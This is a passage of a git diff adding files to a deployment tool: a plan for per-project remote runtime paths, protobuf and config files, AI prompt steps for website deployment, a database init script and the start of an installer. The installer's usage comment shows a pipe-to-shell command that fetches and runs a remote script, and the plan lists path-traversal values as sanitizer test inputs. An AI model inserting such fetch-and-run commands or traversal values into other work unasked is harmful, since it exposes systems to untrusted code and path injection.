"node_modules/ws": { + "version": "8.20.1", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.20.1.tgz", + "integrity": "sha512-It4dO0K5v//JtTXuPkfEOaI3uUN87iYPnqo/ZzqCoG3g8uhA66QUMs/SrM0YK7/NAu+r4LMh/9dq2A7k+rHs+w==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + } + } +} diff --git a/stacker/stacker/package.json b/stacker/stacker/package.json new file mode 100644 index 0000000..31fef03 --- /dev/null +++ b/stacker/stacker/package.json @@ -0,0 +1,5 @@ +{ + "dependencies": { + "ws": "^8.18.3" + } +} diff --git a/stacker/stacker/plan/feature-project-runtime-path-1.md b/stacker/stacker/plan/feature-project-runtime-path-1.md new file mode 100644 index 0000000..b3d16b2 --- /dev/null +++ b/stacker/stacker/plan/feature-project-runtime-path-1.md @@ -0,0 +1,200 @@ +--- +goal: Project-Derived Remote Runtime Paths Across TryDirect Deployment Repositories +version: 1.0 +date_created: 2026-05-27 +last_updated: 2026-05-27 +owner: Copilot +status: Planned +tags: [feature, deployment, multi-project, stacker, install, status, contracts] +--- + +# Introduction + +![Status: Planned](https://img.shields.io/badge/status-Planned-blue) + +Implement project-derived remote runtime paths so multiple Stacker projects can safely share one server without overwriting the fixed `/home/trydirect/project` runtime directory. The implementation must derive the remote directory from a sanitized project identity, propagate that directory through Stacker server/CLI/agent payloads, update install-service normalization, update status-agent assumptions, and refresh shared contracts and documentation. + +## 1. Requirements & Constraints + +- **REQ-001**: WHEN a cloud or server deployment is created for a project with `project.identity`, THE SYSTEM SHALL use `/home/trydirect/` as the project runtime directory. +- **REQ-002**: WHEN `project.identity` is absent and `name` is present, THE SYSTEM SHALL use `/home/trydirect/` as the project runtime directory. +- **REQ-003**: WHEN neither a usable identity nor name is available, THE SYSTEM SHALL preserve legacy fallback behavior by using `/home/trydirect/project`. +- **REQ-004**: THE SYSTEM SHALL derive `docker-compose.yml` and `.env` paths from one canonical remote runtime directory helper instead of duplicating string formatting. +- **REQ-005**: THE SYSTEM SHALL expose the resolved runtime directory, compose path, and env path consistently in CLI explain, MCP explain, deployment state, deployment plan, and config output surfaces. +- **REQ-006**: THE SYSTEM SHALL pass the resolved remote project directory to install-service so install-time file placement matches Stacker's advertised paths. +- **REQ-007**: THE SYSTEM SHALL update Status Panel agent code and tests so remote config drift/env matching accepts project-derived runtime paths. +- **REQ-008**: THE SYSTEM SHALL update shared AI/API contract fixtures so clients observe project-derived runtime paths where sample project identity/name is known. +- **REQ-009**: THE SYSTEM SHALL keep platform-managed services outside project directories; Status Panel and Nginx Proxy Manager paths remain `/home/trydirect/statuspanel` and `/home/trydirect/nginx_proxy_manager` unless a separate feature changes them. +- **SEC-001**: Path derivation SHALL use an allow-list sanitizer that prevents path traversal, absolute path injection, shell metacharacter injection, dot-directory names, and reserved Unix directory names. +- **SEC-002**: User-controlled project names SHALL never be concatenated into shell commands without argument-safe handling in `install` and deployment scripts. +- **SEC-003**: The migration SHALL NOT move or delete existing remote runtime directories automatically unless an explicit migration command or confirmed migration mode is introduced. +- **CON-001**: Current Stacker helpers in `src/helpers/env_path.rs` return fixed paths `/home/trydirect/project/.env` and `/home/trydirect/project/docker-compose.yml`. +- **CON-002**: Current install-service code in `/Users/vasilipascal/work/try.direct/install/app/Ansible.py` defaults `DEFAULT_REMOTE_PROJECT_DIR` to `/home/trydirect/project`. +- **CON-003**: Current Status Panel code and recovery documentation include `/home/trydirect/project` assumptions. +- **CON-004**: Current shared contracts in `/Users/vasilipascal/work/try.direct/config-ai-state/shared-fixtures/api-contracts/` hard-code fixed runtime paths. +- **GUD-001**: Prefer one canonical sanitizer implementation per language boundary and test it with the same fixture cases. +- **GUD-002**: Preserve backwards compatibility for existing deployments whose state reports `/home/trydirect/project` until they are redeployed or explicitly migrated. +- **PAT-001**: Use `project.identity` before `name` because identity is the stable server-side project key used by remote lookups. +- **PAT-002**: Use pure path helpers for path construction, with tests that do not require a live server or database. + +## 2. Implementation Steps + +### Implementation Phase 1 + +- GOAL-001: Add canonical project-derived runtime path helpers in `stacker`. + +| Task | Description | Completed | Date | +|------|-------------|-----------|------| +| TASK-001 | In `/Users/vasilipascal/work/try.direct/stacker/src/helpers/env_path.rs`, replace fixed-only helpers with `remote_runtime_project_dir(project_key: Option<&str>) -> String`, `remote_runtime_env_path_for_project(project_key: Option<&str>) -> String`, and `remote_runtime_compose_path_for_project(project_key: Option<&str>) -> String`. Keep legacy zero-argument wrappers only if needed for compatibility and make them call the new helpers with `None`. | | | +| TASK-002 | In `/Users/vasilipascal/work/try.direct/stacker/src/helpers/env_path.rs`, use the existing Rust sanitizer from `/Users/vasilipascal/work/try.direct/stacker/src/models/project.rs::sanitize_project_name` or extract a shared equivalent so path names use the same safe rules as project deploy directories. | | | +| TASK-003 | Add unit tests in `/Users/vasilipascal/work/try.direct/stacker/src/helpers/env_path.rs` for inputs `status-web`, `Status Web`, `../evil`, `/tmp/app`, `root`, empty string, and `None`. Expected fallback for `None` and empty string is `/home/trydirect/project`; expected sanitized names must not contain `/`, `..`, or whitespace. | | | +| TASK-004 | In `/Users/vasilipascal/work/try.direct/stacker/src/configuration.rs`, ensure `DeploymentSettings::deploy_dir(name)` either receives sanitized names only or sanitizes internally. Add or update tests proving `deploy_dir("../evil")` cannot escape `config_base_path`. | | | + +### Implementation Phase 2 + +- GOAL-002: Thread the resolved project key through Stacker runtime rendering and state surfaces. + +| Task | Description | Completed | Date | +|------|-------------|-----------|------| +| TASK-005 | In `/Users/vasilipascal/work/try.direct/stacker/src/services/config_renderer.rs`, replace `remote_runtime_env_path()` calls that render project-level runtime env files with `remote_runtime_env_path_for_project(Some(project_key))`. Use `project.identity` when available, then `project.name`, then legacy fallback. | | | +| TASK-006 | In `/Users/vasilipascal/work/try.direct/stacker/src/services/deployment_state.rs`, populate `DeploymentRuntimeState.compose_path` and `DeploymentRuntimeState.env_path` from project-derived helpers when project metadata/name is available. Preserve fixed fallback only for old records without project identity/name. | | | +| TASK-007 | In `/Users/vasilipascal/work/try.direct/stacker/src/services/deploy_plan.rs`, replace hard-coded sample/runtime paths with helper-derived paths. Update tests to use a sample project key such as `status-web` and expect `/home/trydirect/status-web/...`. | | | +| TASK-008 | In `/Users/vasilipascal/work/try.direct/stacker/src/services/explain.rs`, update env/topology explanation outputs to use project-derived helper paths. Add tests for both project-derived paths and legacy fallback. | | | +| TASK-009 | In `/Users/vasilipascal/work/try.direct/stacker/src/console/commands/cli/explain.rs` and `/Users/vasilipascal/work/try.direct/stacker/src/console/commands/cli/config.rs`, pass the resolved config project key into runtime path helpers before printing `remote_runtime_env_file`, `runtimeEnvPath`, or `runtimeComposePath`. | | | +| TASK-010 | In `/Users/vasilipascal/work/try.direct/stacker/src/mcp/tools/explain.rs` and `/Users/vasilipascal/work/try.direct/stacker/src/mcp/tools/deployment.rs`, update default runtime path construction to use project-derived helpers when the MCP request can resolve project/deployment identity. Preserve legacy fallback when identity is unavailable. | | | + +### Implementation Phase 3 + +- GOAL-003: Update Stacker deploy payloads so install-service receives the same remote project directory. + +| Task | Description | Completed | Date | +|------|-------------|-----------|------| +| TASK-011 | In `/Users/vasilipascal/work/try.direct/stacker/src/cli/install_runner.rs`, compute `remote_project_dir` from the resolved remote project name before creating install/deploy payloads. Use `project.identity` first, then `name`, then fallback. | | | +| TASK-012 | In `/Users/vasilipascal/work/try.direct/stacker/src/cli/stacker_client.rs`, include `remote_project_dir`, `runtime_compose_path`, and `runtime_env_path` in cloud/server deploy payload custom metadata if the install-service API currently accepts arbitrary custom fields. If not accepted, add a typed field in the request model before use. | | | +| TASK-013 | Add Rust tests in `/Users/vasilipascal/work/try.direct/stacker/src/cli/install_runner.rs` and `/Users/vasilipascal/work/try.direct/stacker/src/cli/stacker_client.rs` proving a project identity `status-web` sends `/home/trydirect/status-web` to install-service and still sends `/home/trydirect/project` when identity/name are absent. | | | +| TASK-014 | Update deployment lock and handoff rendering only if they display runtime paths. Do not write derived runtime paths into local `stacker.yml` unless a separate explicit persist flag is added. | | | + +### Implementation Phase 4 + +- GOAL-004: Update `install` repository runtime placement. + +| Task | Description | Completed | Date | +|------|-------------|-----------|------| +| TASK-015 | In `/Users/vasilipascal/work/try.direct/install/app/Ansible.py`, keep `DEFAULT_REMOTE_PROJECT_DIR = "/home/trydirect/project"` as a fallback but add `resolve_remote_project_dir(payload: Dict[str, Any]) -> str` that reads `remote_project_dir`, validates it is under `/home/trydirect/`, and rejects `..`, empty path segments, and absolute paths outside the base. | | | +| TASK-016 | In `/Users/vasilipascal/work/try.direct/install/app/Ansible.py`, update `normalize_remote_config_destination` and every compose/env upload path caller to use `resolve_remote_project_dir(payload)` instead of the default fixed directory when Stacker provides `remote_project_dir`. | | | +| TASK-017 | In `/Users/vasilipascal/work/try.direct/install/tests/test_ssh_key_resolution.py` or a new install test file, add tests for `remote_project_dir=/home/trydirect/status-web`, missing `remote_project_dir`, malicious `remote_project_dir=/tmp/evil`, and malicious `remote_project_dir=/home/trydirect/../evil`. | | | +| TASK-018 | Run the install repository's Python test command documented in that repo. If no documented command exists, run the smallest existing pytest target that covers `Ansible.py` path normalization. | | | + +### Implementation Phase 5 + +- GOAL-005: Update `status` repository agent assumptions and recovery documentation. + +| Task | Description | Completed | Date | +|------|-------------|-----------|------| +| TASK-019 | In `/Users/vasilipascal/work/try.direct/status/src/commands/stacker.rs`, replace fixed env path assumptions with logic that accepts project-derived `.env` destinations. Keep tests for the fixed legacy path and add tests for `/home/trydirect/status-web/.env`. | | | +| TASK-020 | In `/Users/vasilipascal/work/try.direct/status/docs/APP_DEPLOYMENT.md`, replace fixed path wording with `` examples and state that default legacy deployments may still use `/home/trydirect/project`. | | | +| TASK-021 | In `/Users/vasilipascal/work/try.direct/status/web/docs/recover-paused-deployment.md`, update recovery commands to first discover `remote_project_dir` from deployment state or compose path before using `cd`. Keep `/home/trydirect/project` only as a legacy example. | | | +| TASK-022 | Run the status repository's Rust test target for `src/commands/stacker.rs` or the smallest documented test command that covers Stacker command config handling. | | | + +### Implementation Phase 6 + +- GOAL-006: Update shared contracts, fixtures, and documentation. + +| Task | Description | Completed | Date | +|------|-------------|-----------|------| +| TASK-023 | In `/Users/vasilipascal/work/try.direct/config-ai-state/shared-fixtures/api-contracts/stacker-explain-topology.v1alpha1.json`, update `runtimeComposePath` and `runtimeEnvPath` to `/home/trydirect/status-web/docker-compose.yml` and `/home/trydirect/status-web/.env` if the fixture represents project `status-web`; otherwise add a `projectName`/`projectIdentity` fixture field before changing paths. | | | +| TASK-024 | In `/Users/vasilipascal/work/try.direct/config-ai-state/shared-fixtures/api-contracts/stacker-explain-env.v1alpha1.json`, update `runtimeEnvPath`, `runtimeComposePath`, and destination `path` to the project-derived path used by the fixture. | | | +| TASK-025 | In `/Users/vasilipascal/work/try.direct/config-ai-state/shared-fixtures/api-contracts/stacker-deployment-state.v1alpha1.offline.json` and `stacker-deployment-state.v1alpha1.online.json`, update `composePath` and `envPath` to project-derived paths and preserve schema field names. | | | +| TASK-026 | In `/Users/vasilipascal/work/try.direct/tools/docs/CustomStackMapper.md`, update examples from `/home/trydirect/project/docker-compose.yml` to `/home/trydirect//docker-compose.yml` and describe `/home/trydirect/project` as legacy fallback only. | | | +| TASK-027 | In `/Users/vasilipascal/work/try.direct/stacker/README.md`, `/Users/vasilipascal/work/try.direct/stacker/docs/STACKER_YML_REFERENCE.md`, and `/Users/vasilipascal/work/try.direct/stacker/docs/APP_DEPLOYMENT.md`, document that remote runtime files now live under `/home/trydirect//`. | | | +| TASK-028 | Update Stacker contract fixtures in `/Users/vasilipascal/work/try.direct/stacker/tests/contracts/` and AI fixtures in `/Users/vasilipascal/work/try.direct/stacker/tests/fixtures/ai/` to match the new project-derived paths. | | | + +### Implementation Phase 7 + +- GOAL-007: Validate end-to-end multi-project behavior and compatibility. + +| Task | Description | Completed | Date | +|------|-------------|-----------|------| +| TASK-029 | In `stacker`, run `SQLX_OFFLINE=true cargo test --offline --lib -- --color=always --test-threads=1 --nocapture` and `SQLX_OFFLINE=true cargo test --offline --bin stacker-cli -- --color=always --nocapture`. | | | +| TASK-030 | In `stacker`, run `SQLX_OFFLINE=true cargo build --offline` and `make style-check`. Run `make lint`; if it still fails with existing SQLx `E0282` errors, capture the log and verify no new runtime-path files are listed in the errors. | | | +| TASK-031 | In `install`, run the Python test command selected in TASK-018 and record the exact command and result in the implementation notes or pull request. | | | +| TASK-032 | In `status`, run the Rust test command selected in TASK-022 and record the exact command and result in the implementation notes or pull request. | | | +| TASK-033 | Perform a local dry-run or mocked payload test for two projects named `site-a` and `site-b` targeting one server. Verify generated runtime directories are `/home/trydirect/site-a` and `/home/trydirect/site-b`, with no writes to each other's `.env` or `docker-compose.yml` paths. | | | + +## 3. Alternatives + +- **ALT-001**: Keep `/home/trydirect/project` and document that one server supports only one normal project. Rejected because it contradicts multi-project server reuse and creates overwrite risk. +- **ALT-002**: Add a user-configurable `deploy.remote_dir` in `stacker.yml` and require users to set it manually. Rejected as the primary solution because safe defaults should isolate projects automatically; a future override can be added separately with strict validation. +- **ALT-003**: Use deployment hash as the remote directory name. Rejected for the default because it is less human-readable and makes direct SSH operations harder; deployment hash can remain a fallback for anonymous legacy records if needed. +- **ALT-004**: Update only Stacker docs and leave runtime code unchanged. Rejected because the bug is actual path collision risk, not documentation-only. + +## 4. Dependencies + +- **DEP-001**: `/Users/vasilipascal/work/try.direct/stacker` must be updated first because it owns project identity resolution, runtime path reporting, MCP surfaces, and deploy payload generation. +- **DEP-002**: `/Users/vasilipascal/work/try.direct/install` must be updated before production rollout because it writes files on the remote server. +- **DEP-003**: `/Users/vasilipascal/work/try.direct/status` must be updated before relying on project-derived env/config paths in agent operations and docs. +- **DEP-004**: `/Users/vasilipascal/work/try.direct/config-ai-state` shared fixtures must be updated after API output shapes and sample values are finalized. +- **DEP-005**: `/Users/vasilipascal/work/try.direct/tools` docs must be updated after install-service path semantics are finalized. +- **DEP-006**: Existing Stacker lint baseline has unrelated SQLx `E0282` failures; validation must distinguish those from new runtime path errors. + +## 5. Files + +- **FILE-001**: `/Users/vasilipascal/work/try.direct/stacker/src/helpers/env_path.rs` — canonical path helpers and sanitizer tests. +- **FILE-002**: `/Users/vasilipascal/work/try.direct/stacker/src/models/project.rs` — sanitizer reuse or deploy-dir hardening. +- **FILE-003**: `/Users/vasilipascal/work/try.direct/stacker/src/configuration.rs` — deployment base path/deploy_dir hardening. +- **FILE-004**: `/Users/vasilipascal/work/try.direct/stacker/src/services/config_renderer.rs` — runtime env destination paths. +- **FILE-005**: `/Users/vasilipascal/work/try.direct/stacker/src/services/deployment_state.rs` — deployment runtime path output. +- **FILE-006**: `/Users/vasilipascal/work/try.direct/stacker/src/services/deploy_plan.rs` — deployment plan runtime paths and samples. +- **FILE-007**: `/Users/vasilipascal/work/try.direct/stacker/src/services/explain.rs` — topology/env explanation paths. +- **FILE-008**: `/Users/vasilipascal/work/try.direct/stacker/src/console/commands/cli/explain.rs` — CLI explain paths. +- **FILE-009**: `/Users/vasilipascal/work/try.direct/stacker/src/console/commands/cli/config.rs` — CLI config output paths. +- **FILE-010**: `/Users/vasilipascal/work/try.direct/stacker/src/mcp/tools/explain.rs` — MCP explain paths. +- **FILE-011**: `/Users/vasilipascal/work/try.direct/stacker/src/mcp/tools/deployment.rs` — MCP deployment state paths. +- **FILE-012**: `/Users/vasilipascal/work/try.direct/stacker/src/cli/install_runner.rs` — deploy context payload runtime directory. +- **FILE-013**: `/Users/vasilipascal/work/try.direct/stacker/src/cli/stacker_client.rs` — cloud/server deploy payload metadata. +- **FILE-014**: `/Users/vasilipascal/work/try.direct/install/app/Ansible.py` — install-service remote project directory normalization. +- **FILE-015**: `/Users/vasilipascal/work/try.direct/install/tests/test_ssh_key_resolution.py` or new install test file — install-service path validation tests. +- **FILE-016**: `/Users/vasilipascal/work/try.direct/status/src/commands/stacker.rs` — status-agent env destination handling tests/logic. +- **FILE-017**: `/Users/vasilipascal/work/try.direct/status/docs/APP_DEPLOYMENT.md` — status documentation. +- **FILE-018**: `/Users/vasilipascal/work/try.direct/status/web/docs/recover-paused-deployment.md` — recovery documentation. +- **FILE-019**: `/Users/vasilipascal/work/try.direct/config-ai-state/shared-fixtures/api-contracts/*.json` — shared API fixtures. +- **FILE-020**: `/Users/vasilipascal/work/try.direct/tools/docs/CustomStackMapper.md` — tools documentation. +- **FILE-021**: `/Users/vasilipascal/work/try.direct/stacker/tests/contracts/*.json` — Stacker contract fixtures. +- **FILE-022**: `/Users/vasilipascal/work/try.direct/stacker/tests/fixtures/ai/*.json` — Stacker AI fixtures. +- **FILE-023**: `/Users/vasilipascal/work/try.direct/stacker/README.md` — Stacker overview documentation. +- **FILE-024**: `/Users/vasilipascal/work/try.direct/stacker/docs/STACKER_YML_REFERENCE.md` — Stacker config reference. +- **FILE-025**: `/Users/vasilipascal/work/try.direct/stacker/docs/APP_DEPLOYMENT.md` — Stacker deployment design documentation. + +## 6. Testing + +- **TEST-001**: Unit test Rust sanitizer/path helper outputs for safe names, malicious names, empty names, and legacy fallback. +- **TEST-002**: Unit test Stacker config rendering writes project-level `.env` to `/home/trydirect/status-web/.env` for project `status-web`. +- **TEST-003**: Unit test deployment state and explain outputs report `/home/trydirect/status-web/docker-compose.yml` and `/home/trydirect/status-web/.env`. +- **TEST-004**: Unit test Stacker deploy payload includes `remote_project_dir=/home/trydirect/status-web`. +- **TEST-005**: Unit test install-service rejects remote project directories outside `/home/trydirect`. +- **TEST-006**: Unit test install-service defaults to `/home/trydirect/project` when the new field is absent. +- **TEST-007**: Unit test Status Panel env config detection accepts `/home/trydirect/status-web/.env`. +- **TEST-008**: Contract tests compare updated `config-ai-state` fixtures and Stacker fixtures against runtime output. +- **TEST-009**: CLI tests verify `stacker explain` and `stacker config show` expose project-derived paths. +- **TEST-010**: Dry-run or mocked deploy test verifies two projects on one server resolve distinct runtime directories. + +## 7. Risks & Assumptions + +- **RISK-001**: Existing deployments already running in `/home/trydirect/project` may be orphaned if redeploy immediately switches to a new path without migration guidance. +- **RISK-002**: Install-service may ignore unknown payload fields; TASK-012 and TASK-015 must verify the API boundary before rollout. +- **RISK-003**: AI/MCP clients may have cached contract fixtures that expect fixed runtime paths. +- **RISK-004**: Some docs use `/home/trydirect/project` as an example path; updating all examples at once may obscure legacy recovery steps. +- **RISK-005**: If sanitizer behavior differs between Rust and Python, Stacker may advertise one path while install-service writes another. +- **ASSUMPTION-001**: `project.identity` is the preferred stable runtime directory key when present. +- **ASSUMPTION-002**: `/home/trydirect/project` must remain as legacy fallback for older deployments and missing identity/name cases. +- **ASSUMPTION-003**: Platform-managed Status Panel and Nginx Proxy Manager directories are outside this change. +- **ASSUMPTION-004**: No database migration is required if runtime paths are computed from project identity/name at render time and exposed in state responses. + +## 8. Related Specifications / Further Reading + +- `/Users/vasilipascal/work/try.direct/stacker/src/helpers/env_path.rs` +- `/Users/vasilipascal/work/try.direct/install/app/Ansible.py` +- `/Users/vasilipascal/work/try.direct/status/src/commands/stacker.rs` +- `/Users/vasilipascal/work/try.direct/config-ai-state/shared-fixtures/api-contracts/` +- `/Users/vasilipascal/work/try.direct/stacker/docs/APP_DEPLOYMENT.md` +- `/Users/vasilipascal/work/try.direct/status/docs/APP_DEPLOYMENT.md` diff --git a/stacker/stacker/proto/pipe.proto b/stacker/stacker/proto/pipe.proto new file mode 100644 index 0000000..bd068bc --- /dev/null +++ b/stacker/stacker/proto/pipe.proto @@ -0,0 +1,31 @@ +syntax = "proto3"; + +package pipe; + +import "google/protobuf/struct.proto"; + +service PipeService { + // Send data to a pipe target (unary) + rpc Send(PipeMessage) returns (PipeResponse); + + // Subscribe to a pipe source (server-streaming) + rpc Subscribe(SubscribeRequest) returns (stream PipeMessage); +} + +message PipeMessage { + string pipe_instance_id = 1; + string step_id = 2; + google.protobuf.Struct payload = 3; + int64 timestamp_ms = 4; +} + +message PipeResponse { + bool success = 1; + string message = 2; +} + +message SubscribeRequest { + string pipe_instance_id = 1; + string step_id = 2; + map filters = 3; +} diff --git a/stacker/stacker/renovate.json b/stacker/stacker/renovate.json new file mode 100644 index 0000000..5db72dd --- /dev/null +++ b/stacker/stacker/renovate.json @@ -0,0 +1,6 @@ +{ + "$schema": "https://docs.renovatebot.com/renovate-schema.json", + "extends": [ + "config:recommended" + ] +} diff --git a/stacker/stacker/rustfmt.toml b/stacker/stacker/rustfmt.toml new file mode 100644 index 0000000..32a9786 --- /dev/null +++ b/stacker/stacker/rustfmt.toml @@ -0,0 +1 @@ +edition = "2018" diff --git a/stacker/stacker/scenarios/qwen2.5-code/website-deploy/scenario.yaml b/stacker/stacker/scenarios/qwen2.5-code/website-deploy/scenario.yaml new file mode 100644 index 0000000..f15767f --- /dev/null +++ b/stacker/stacker/scenarios/qwen2.5-code/website-deploy/scenario.yaml @@ -0,0 +1,47 @@ +name: website-deploy +description: Repeatable website deployment workflow for simple HTML and Next.js projects using conservative Stacker commands. +model_match: + provider: ollama + name_contains: + - qwen2.5-code + - qwen2.5-coder +trigger_conditions: + app_types: + - static + - node + website_kinds: + - html + - nextjs +default_step: init-validate +required_vars: + - public_domain + - image_repository + - image_tag + - cloud_provider + - cloud_region + - cloud_size +transcript_rules: + default_path: docs/deployment-history.md + update_existing: true +safety_rules: + - Never invent Stacker commands or flags. + - Inspect before mutate and dry-run before deploy. + - Ask for missing secrets only when the current step truly needs them. + - Do not assume the image exists remotely until it has been pushed successfully. + - Remember that `stacker agent install` does not persist local config unless explicitly requested. +steps: + - id: init-validate + title: Validate generated stacker config and local artifacts + file: steps/01-init-validate.md + - id: image-publish + title: Build and publish the application image + file: steps/02-image-publish.md + - id: cloud-deploy + title: Deploy the stack to the cloud target + file: steps/03-cloud-deploy.md + - id: agent-firewall-dns-proxy + title: Install the agent and wire firewall, DNS, and proxy + file: steps/04-agent-firewall-dns-proxy.md + - id: runtime-ops + title: Verify runtime behavior and record the deployment story + file: steps/05-runtime-ops.md diff --git a/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/01-init-validate.md b/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/01-init-validate.md new file mode 100644 index 0000000..3859b50 --- /dev/null +++ b/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/01-init-validate.md @@ -0,0 +1,12 @@ +You are continuing a website deployment workflow immediately after `stacker init --with-ai`. + +Focus only on these actions: +1. Inspect the generated `stacker.yml`, `.stacker/Dockerfile`, and `.stacker/docker-compose.yml`. +2. Confirm the detected app type and upstream port make sense for the project kind. +3. Point out only concrete fixes that are needed before publishing an image. +4. Tell the user the exact next Stacker or Docker commands to run. + +Guardrails: +- Do not jump straight to cloud deploy from this step. +- If a value is missing, ask for it explicitly instead of inventing it. +- Keep the answer procedural and command-focused. diff --git a/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/02-image-publish.md b/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/02-image-publish.md new file mode 100644 index 0000000..ee16f89 --- /dev/null +++ b/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/02-image-publish.md @@ -0,0 +1,12 @@ +This step is about turning the local project into a remotely deployable image. + +Required behavior: +1. Verify the image repository and tag that should be produced. +2. Explain the exact build, login, and push commands needed for the chosen registry. +3. Refuse to proceed to remote deploy until the image push has completed successfully. +4. Mention any project-specific checks that should happen before push, such as build or local smoke tests. + +Guardrails: +- Do not assume the registry already contains the image. +- If the repository or tag is missing, ask for it. +- Keep the answer conservative and sequential. diff --git a/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/03-cloud-deploy.md b/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/03-cloud-deploy.md new file mode 100644 index 0000000..8b1e6f2 --- /dev/null +++ b/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/03-cloud-deploy.md @@ -0,0 +1,12 @@ +This step is about deploying the already published image to the target cloud server. + +Required behavior: +1. Confirm that the image has already been pushed. +2. Use `stacker deploy --target cloud --dry-run` before any real deploy. +3. Use the configured cloud provider, region, and size from the scenario variables. +4. If SSL validation or provider setup causes a known temporary issue, explain the safest retry path rather than inventing a workaround. + +Guardrails: +- Do not skip the dry run. +- Do not silently rewrite local config for unrelated convenience. +- If deploy inputs are incomplete, stop and ask for them explicitly. diff --git a/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/04-agent-firewall-dns-proxy.md b/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/04-agent-firewall-dns-proxy.md new file mode 100644 index 0000000..b1747de --- /dev/null +++ b/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/04-agent-firewall-dns-proxy.md @@ -0,0 +1,12 @@ +This step is about making the remote deployment reachable and operable. + +Required behavior: +1. Guide the user through `stacker agent install` without implying that local config is persisted by default. +2. Explain firewall openings and DNS records required for the application and proxy. +3. When reverse proxy configuration is needed, keep Nginx Proxy Manager runtime targeting in mind. +4. Prefer service DNS names for container-to-container traffic on the server instead of loopback addresses. + +Guardrails: +- Do not claim that `stacker agent install` changes `stacker.yml` unless `--persist-config` is explicitly chosen. +- Nginx Proxy Manager runtime access should use `http://nginx-proxy-manager:81`. +- For remote service traffic, prefer names like `smtp:25` rather than `127.0.0.1`. diff --git a/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/05-runtime-ops.md b/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/05-runtime-ops.md new file mode 100644 index 0000000..2fe6cc9 --- /dev/null +++ b/stacker/stacker/scenarios/qwen2.5-code/website-deploy/steps/05-runtime-ops.md @@ -0,0 +1,12 @@ +This step is about post-deploy inspection, troubleshooting, and recording the workflow. + +Required behavior: +1. Use read-only Stacker inspection commands before suggesting any change. +2. Check runtime status, logs, DNS, and proxy health in a disciplined order. +3. Update an existing deployment-history-style document when present, or create `docs/deployment-history.md` when the project has no transcript yet. +4. End with the next smallest safe action instead of a broad checklist. + +Guardrails: +- Avoid speculative fixes. +- If the issue is unclear, ask for the specific command output that is missing. +- Keep the transcript factual and tied to commands that were actually run. diff --git a/stacker/stacker/scripts/init_db.sh b/stacker/stacker/scripts/init_db.sh new file mode 100755 index 0000000..06693cd --- /dev/null +++ b/stacker/stacker/scripts/init_db.sh @@ -0,0 +1,42 @@ +#!/usr/bin/env bash + +set -x +set -eo pipefail + +if ! [ -x "$(command -v psql)" ]; then + echo >&2 "Error: 'psql' is not installed." + exit 1 +fi +if ! [ -x "$(command -v sqlx)" ]; then + echo >&2 "Error: 'sqlx' is not installed." + exit 1 +fi + +DB_USER=${POSTGRES_USER:=postgres} +DB_PASSWORD=${POSTGRES_PASSWORD:=postgres} +DB_NAME=${POSTGRES_DB:=stacker} +DB_PORT=${POSTGRES_PORT:=5432} + +docker run \ + -e POSTGRES_USER=${DB_USER} \ + -e POSTGRES_PASSWORD=${DB_PASSWORD} \ + -e POSTGRES_DB=${DB_NAME} \ + -p "${DB_PORT}":5432 \ + -d postgres \ + postgres -N 1000 + +# Keep pinging Postgres until the server is ready to accept commands +export PGPASSWORD="${DB_PASSWORD}" +until psql -h "localhost" -U "${DB_USER}" -p "${DB_PORT}" -c '\q'; do + >&2 echo "Postgres is still unavailable - sleeping" + sleep 1 +done + +>&2 echo "Postgres is up and running on port ${DB_PORT} - executing command" + +export DATABASE_URL=postgres://${DB_USER}:${DB_PASSWORD}@localhost:${DB_PORT}/${DB_NAME} +sqlx database create +sqlx migrate run + +>&2 echo "Postgres has been migrated, ready to go!" + diff --git a/stacker/stacker/scripts/install.sh b/stacker/stacker/scripts/install.sh new file mode 100755 index 0000000..6f0b486 --- /dev/null +++ b/stacker/stacker/scripts/install.sh @@ -0,0 +1,147 @@ +#!/usr/bin/env bash +# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +# Stacker CLI installer +# +# Usage: +# curl -fsSL https://get.stacker.dev/install.sh | bash +# curl -fsSL https://get.stacker.dev/install.sh | bash -s -- --channel beta +# +# Environment variables: +# STACKER_INSTALL_DIR — where to install (default: /usr/local/bin) +# STACKER_CHANNEL — release channel: stable, beta (default: stable) +# STACKER_VERSION — pin to a specific version (e.g. 0.2.2) +# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +set -euo pipefail + +REPO="trydirect/stacker" +INSTALL_DIR="${STACKER_INSTALL_DIR:-/usr/local/bin}" +CHANNEL="${STACKER_CHANNEL:-stable}" +VERSION="${STACKER_VERSION:-latest}" +BINARY_NAME="stacker" + +# ── Helpers ────────────────────────────────────────── + +info() { printf "\033[1;34m▸\033[0m %s\n" "$*"; } +ok() { printf "\033[1;32m✓\033[0m %s\n" "$*"; } +err() { printf "\033[1;31m✗\033[0m %s\n" "$*" >&2; exit 1; } + +need() { + command -v "$1" >/dev/null 2>&1 || err "Required command not found: $1" +} + +# ── Detect platform ───────────────────────────────── + +detect_os() { + case "$(uname -s)" in + Linux*) echo "linux" ;; + Darwin*) echo "darwin" ;; + *) err "Unsupported OS: $(uname -s)" ;; + esac +} + +detect_arch() { + case "$(uname -m)" in + x86_64|amd64) echo "x86_64" ;; + arm64|aarch64) echo "aarch64" ;; + *) err "Unsupported architecture: $(uname -m)" ;; + esac +} + +# ── Resolve version ───────────────────────────────── + +resolve_version() { + if [ "$VERSION" = "latest" ]; then + need curl + VERSION=$(curl -fsSL "https://api.github.com/repos/${REPO}/releases/latest" \ + | grep '"tag_name"' \ + | sed -E 